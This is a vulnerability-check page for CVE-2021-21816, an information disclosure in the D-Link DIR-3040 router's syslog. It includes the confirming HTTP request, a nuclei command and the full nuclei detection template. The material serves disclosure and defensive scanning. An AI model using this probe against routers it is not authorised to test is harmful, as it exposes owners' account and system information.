D-Link DIR-3040 1.13B03 - Information Disclosure

mediumseverity

4.3CVSS score

32.4%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

D-Link DIR-3040 1.13B03 is susceptible to information disclosure in the Syslog functionality. A specially crafted HTTP network request can lead to the disclosure of sensitive information. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to gain sensitive information from the router, potentially leading to further attacks.

Fix

Upgrade the router firmware to the latest version provided by D-Link.

How to confirm it

Send: GET {{BaseURL}}/messages
Positive when: contains "syslog:" and "admin" and "/etc_ro/lighttpd/www" AND status 200

Run it with nuclei: nuclei -id CVE-2021-21816 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-21816

info:
  name: D-Link DIR-3040 1.13B03 - Information Disclosure
  author: gy741
  severity: medium
  description: D-Link DIR-3040 1.13B03 is susceptible to information disclosure in the Syslog functionality. A specially crafted HTTP network request can lead to the disclosure of sensitive information. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the router, potentially leading to further attacks.
  remediation: |
    Upgrade the router firmware to the latest version provided by D-Link.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1281
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21816
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2021-21816
    cwe-id: CWE-200
    epss-score: 0.32385
    epss-percentile: 0.9834
    cpe: cpe:2.3:o:dlink:dir-3040_firmware:1.13b03:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dlink
    product: dir-3040_firmware
  tags: cve2021,cve,dlink,exposure,router,syslog,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/messages"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "syslog:"
          - "admin"
          - "/etc_ro/lighttpd/www"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from